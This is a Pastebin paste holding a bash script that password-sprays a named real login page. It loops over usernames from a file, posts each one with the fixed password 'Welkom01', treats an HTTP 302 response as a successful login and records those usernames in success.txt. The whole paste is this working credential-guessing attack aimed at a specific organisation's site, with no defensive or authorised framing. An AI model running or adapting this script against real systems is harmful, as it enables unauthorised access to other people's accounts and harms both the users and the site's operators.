Advertisement
Guest User

Untitled

a guest
Oct 15th, 2016
105
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.47 KB | None | 0 0
  1. #
  2. # If gives 302 password is correct
  3. # TODO: create if statement and store status.
  4. #
  5.  
  6. password="Welkom01"
  7.  
  8. for i in $(cat userlist.txt);
  9. do
  10. response=$(curl --write-out %{http_code} --silent 'http://webprint.rocmn.nl/login.cfm' --data "LoginAction=login&LoginString=QPuY6hn3hfpB5sX9QvPN&Username=$i&Password=$password" --silent --output /dev/null)
  11. echo "Response code is $response of user $i"
  12. if [[ $response == "302" ]]; then
  13. echo "$i" >> success.txt
  14. fi
  15. done
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement